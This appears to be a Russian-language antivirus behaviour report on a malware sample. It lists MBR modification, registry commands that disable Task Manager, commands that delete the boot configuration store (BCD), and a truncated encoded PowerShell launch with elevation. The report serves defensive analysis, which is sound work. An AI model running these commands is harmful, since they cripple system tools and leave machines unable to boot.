Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует главную загрузочную запись (MBR).
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Диспетчера задач (Taskmgr)
Изменения в файловой системе
Создает следующие файлы
- %HOMEPATH%\desktop\logs.txt
- nul
Другое
Перезапускает анализируемый образец
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0AVgBlAHIAYgAgAFIAdQBuAEEAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJwBDADoAXABuAHcAdwBiAGIAdwBtAG8AXABpAGwAagB0AG4ALgBlAHgAZQAnACAALQBBAHIAZwB1AG0AZ...
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg delete HKLM\BCD00000000 /f
- '<SYSTEM32>\reg.exe' delete HKLM\BCD00000000 /f
- '<Полный путь к файлу>' --elevated (со скрытым окном)
